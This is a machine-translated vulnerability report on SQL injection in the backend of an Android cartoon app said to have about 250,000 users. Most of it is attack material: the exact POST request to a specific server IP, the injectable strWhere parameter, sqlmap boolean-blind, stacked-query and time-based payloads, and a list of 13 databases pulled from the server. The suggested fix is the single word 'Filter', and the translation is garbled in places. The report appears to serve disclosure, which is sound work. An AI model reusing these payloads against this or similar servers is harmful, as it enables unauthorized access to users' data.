Inke cartoon Android app SQL injection of hundreds of thousands of user information in an emergency

Inke cartoon Android app SQL injection of hundreds of thousands of user information in an emergency

Inke cartoon Android APPSQL injection vulnerability: more than 0.2 million users in an emergency

Baidu mobile app search and download show that there are already 0.25 million users!

Neol cartoon APP:

POST/comic/comicinterfacetwo. asmx/fig http/1.1

Content-Length: 71

Content-Type: application/x-www-form-urlencoded

Host: 219.133.59.94

Connection: Keep-Alive

User-Agent: android-async-http/1.4.3 (http://loopj.com/android-async-http)

Accept-Encoding: gzip



Version = 1.0 effectpage = 1 & strWhere = ishot % 3D1 & pageSize =-1 & osType = android

The strWhere parameter is injected;
 

 

[18:20:40] [INFO] resuming back-end DBMS 'Microsoft SQL Server'

[18:20:40] [INFO] testing connection to the target URL

Sqlmap identified the following injection points with a total of 0 HTTP (s) requests:

---

Place: POST

Parameter: strWhere

Type: boolean-based blind

Title: AND boolean-based blind-WHERE or HAVING clause

Payload: Version = 1.0 & currentPage = 1 & strWhere = ishot = 1 AND 3132 = 3132 & pageSize =-1 & osType = android





Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: Version = 1.0 & currentPage = 1 & strWhere = ishot = 1; waitfor delay '0: 0: 5' -- & pageSize =-1 & osType = android





Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: Version = 1.0 & currentPage = 1 & strWhere = ishot = 1 waitfor delay '0: 0: 5' -- & pageSize =-1 & osType = android

---

[18:20:40] [INFO] the back-end DBMS is Microsoft SQL Server

Web server operating system: Windows 2008

Web application technology: ASP. NET, ASP. NET 4.0.30319, Microsoft IIS 7.5

Back-end DBMS: Microsoft SQL Server 2008

[18:20:40] [INFO] fetching database names

[18:20:40] [INFO] fetching number of databases

[18:20:40] [WARNING] running in a single-thread mode. Please consider usage of option '-- Threads' for faster data re

[18:20:40] [INFO] retrieved: 13

[18:20:44] [INFO] retrieved: android_mrvideo

[18:21:34] [INFO] retrieved: bigpear_db

[18:22:07] [INFO] retrieved: comic_db

[18:22:34] [INFO] retrieved: comic_db_208

[18:23:13] [INFO] retrieved: MakeVideoData

[18:23:53] [INFO] retrieved: MashiMaro

[18:24:25] [INFO] retrieved: master

[18:24:54] [INFO] retrieved: model

[18:25:13] [INFO] retrieved: msdb

[18:25:28] [INFO] retrieved: OpenFireServer

[18:26:17] [INFO] retrieved: ReportServer

[18:27:01] [INFO] retrieved: ReportServerTempDB

[18:28:08] [INFO] retrieved: tempdb

Available databases [13]:

[*] Android_mrvideo

[*] Bigpear_db

[*] Comic_db

[*] Comic_db_208

[*] MakeVideoData

[*] MashiMaro

[*] Master

[*] Model

[*] Msdb

[*] OpenFireServer

[*] ReportServer

[*] ReportServerTempDB

[*] Tempdb

Solution:

Filter